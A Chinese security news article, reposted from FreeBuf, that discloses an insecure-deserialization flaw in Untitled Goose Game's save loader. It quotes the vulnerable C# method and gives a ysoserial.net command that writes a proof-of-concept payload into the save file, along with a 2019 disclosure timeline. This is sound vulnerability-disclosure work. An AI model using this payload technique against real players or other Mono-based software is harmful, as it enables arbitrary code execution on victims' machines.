专栏首页FreeBuf无题大鹅模拟游戏(Untitled Goose Game)存在代码可执行漏洞

无题大鹅模拟游戏(Untitled Goose Game)存在代码可执行漏洞

Untitled Goose Game(无题大鹅模拟、捣蛋鹅)是一款画风简单的第三人称模拟类游戏,通过模拟一只大鹅去完成一些捣乱任务,是House House制作的一款农场题材搞笑游戏。经作者发现,Untitled Goose Game由于在其游戏存档加载器(Save Game Loader)中存在不安全的反序列化机制从而可导致代码执行漏洞,攻击者可以针对目标玩家的在启动游戏存档加载器时实施恶意代码执行攻击。

漏洞详情

Untitled Goose Game使用.NET的BinaryFormatter去读取和反序列化游戏存档文件,由于其中未采用特定的SerializationBinder去控制反序列化过程,因此,控制了游戏存档文件的攻击者可以利用其反序列化过程来执行任意代码。攻击者只需在游戏存档文件中写入一个恶意的序列化对象,让Untitled Goose Game去读取即可实现攻击。游戏存档文件在操作系统中的存储位置为C:\Users<USER>\AppData\LocalLow\House House\Untitled Goose Game\savegame0.save.

Untitled Goose Game中的反序列化过程发生在Untitled_Data\Managed\Assembly-CSharp.dll文件的StandaloneSaveSystem类中,以下是其中存在安全风险的方法函数:

public SaveGameData LoadSlot(int slot) {  string savePath = this.GetSavePath(slot);  SaveGameData result;  if (File.Exists(savePath))  {   Debug.Log("loading from " + savePath);   using (FileStream fileStream = File.Open(savePath, FileMode.Open))   {    result = (SaveGameData)new BinaryFormatter().Deserialize(fileStream);   }   Debug.Log("sucessfully loaded savegame data from " + savePath);  }  else  {   Debug.Log("savefile doesn't exist. didn't load any data");   result = new SaveGameData();  }  return result; }

漏洞利用所需工具

要成功利用该漏洞,需要用到 James Forshaw 改进过的一个反序列组件TypeConfuseDelegate,具体可以参考此处。其实,该改进组件已经整合到了反序列化工具ysoserial.net中了,可以在此下载。

可用以下命令生成PoC漏洞利用:

ysoserial.exe -f BinaryFormatter -t TypeConfuseDelegateMono -o raw -c "calc" > "C:\Users<user>\AppData\LocalLow\House House\Untitled Goose Game\savegame0.save"

新发布的TypeConfuseDelegateMono组件,可用来发起对其它基于MONO平台开发游戏的攻击测试。

漏洞上报处置进程

07/10/2019 - 向House House公司通报

09/10/2019 - House House确认漏洞

22/10/2019 - House House发布补丁

29/10/2019 - 公开漏洞

*参考来源:pulsesecurity,clouds编译整理,转载请注明来自FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-12-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 经典面试题-什么是java序列化,如何实现java序列化?

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 ...

    cwl_java
  • 如何化解产品和技术部门之间的矛盾

    说成矛盾,一则感觉尖锐了些,其次我来谈这个问题,有点行外人看行内人的感觉。但是运维部门和业务部门之间也同样存在在结果期望上的矛盾,毕竟"多快好省"的服...

    用户1593318
  • 视频编码零基础入门

    像素点的英文叫Pixel(缩写为PX)。这个单词是由 Picture(图像) 和 Element(元素)这两个单词的字母所组成的。

    鲜枣课堂
  • Jmeter 参数化的多种方式

    其中,参数含义如下: Filename:引用文件地址,可以填相对路径或绝对路径。相对路径的根节点是Jmeter的启动目录,如果测试执行是分发到多台远程负载机上...

    软测小生
  • 「玲珑宝塔」优化 Apk 包大小

    如今的 5 G 也在万众瞩目瞩目下翩翩起舞,而 Android 近些年也惹得不少争议,所谓的谣言,不过尔尔。

    HLQ_Struggle
  • 经典面试题-序列化的作用,应用场景

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 ...

    cwl_java
  • day85- <缓存+序列化+信号+ORM性能相关+随机验证码>

    天下第六
  • Java序列化与反序列化中,你可能会忽略的细节知识点

    在很早之前学习序列化的时候有写过一篇关于Java序列化的博客,不过那只是简单的使用,入门者欢迎移步:http://blog.beifengtz.com/arti...

    beifengtz
  • 在命令行进行sort排序【Linux-Command line】

    使用sort命令重组数据,可以从Linux,BSD或Mac终端以对你有意义的格式进行。

    QRosie
  • 记一次内存泄漏排查

    httpclient一只read time out,使用jmx 产看内存是每天都在上升的。

    OPice

扫码关注云+社区

领取腾讯云代金券